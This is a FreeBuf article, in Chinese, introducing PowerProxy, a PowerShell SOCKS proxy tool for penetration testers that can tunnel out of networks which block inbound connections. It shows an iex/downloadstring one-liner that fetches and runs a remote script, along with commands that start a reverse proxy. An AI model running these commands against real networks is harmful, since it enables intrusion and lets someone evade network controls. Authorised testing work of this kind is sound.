freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PowerProxy:一款带有反向代理功能的PowerShell Socks代理工具
2022-05-31 21:29:43
所属地 广西

关于PowerProxy

PowerProxy是一款功能强大的PowerShell Socks代理工具,该工具带有反向代理功能,可以帮助广大安全研究人员更加轻松地完成某些特定场景下的渗透测试任务。

PowerProxy专为渗透测试人员设计,在遍历阻止入站连接的网络时,反向代理功能肯定是要优先考虑的。在默认情况下,反向代理连接会经过加密处理,而Socks5连接也支持基于用户名和密码的身份验证。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/get-get-get-get/PowerProxy.git

工具配置

我们可以使用下列命令导入PowerProxy脚本:

iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")

或者:

Import-Module \\192.168.0.22\Public\PowerProxy.ps1

其中,reverse_proxy_handler.py能够创建临时SSL证书,此功能需要使用到OpenSSL。如果你的设备上没有安装OpenSSL的话,这需要使用你自己的证书,或者使用“--no-encrypt”选项,不过大多数Linux或类Unix系统默认都会安装有OpenSSL。

工具使用

查看工具帮助信息

./reverse_proxy_handler.py --help

运行一个反向代理

在本地设备上,使用下列命令开启一个Handler,此时Handler将会监听端口8080上的反向代理,客户端默认将连接至端口1080:

./reverse_proxy_handler.py -p 8080

接下来,在PowerShell窗口中,运行下列命令:

Start-ReverseSocksProxy 172.1.1.20 -Port 8080

代理客户端此时会将reverse_proxy_handler.py脚本创建的服务器当作实际的Socks服务器对待:

curl --socks4 127.0.0.1:1080 http://10.10.2.69/

运行一台传统意义上的Socks服务器

Start-SocksProxy 172.10.2.20 -Port 9050

开启身份验证

我们可以使用PSCredential对象来要求用户在连接时提供正确的用户名和密码:

# 创建凭证

$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"

$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

 

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

工具限制

1、仅支持CONNECT请求;

2、不支持GSSAPI认证;

3、reverse_proxy_handler.py仅在类Unix系统上进行过测试,不确定是否支持Windows系统;

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

项目地址

PowerProxy:GitHub传送门

# powershell # Socks proxy # 反向代理 # PowerShell代理
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录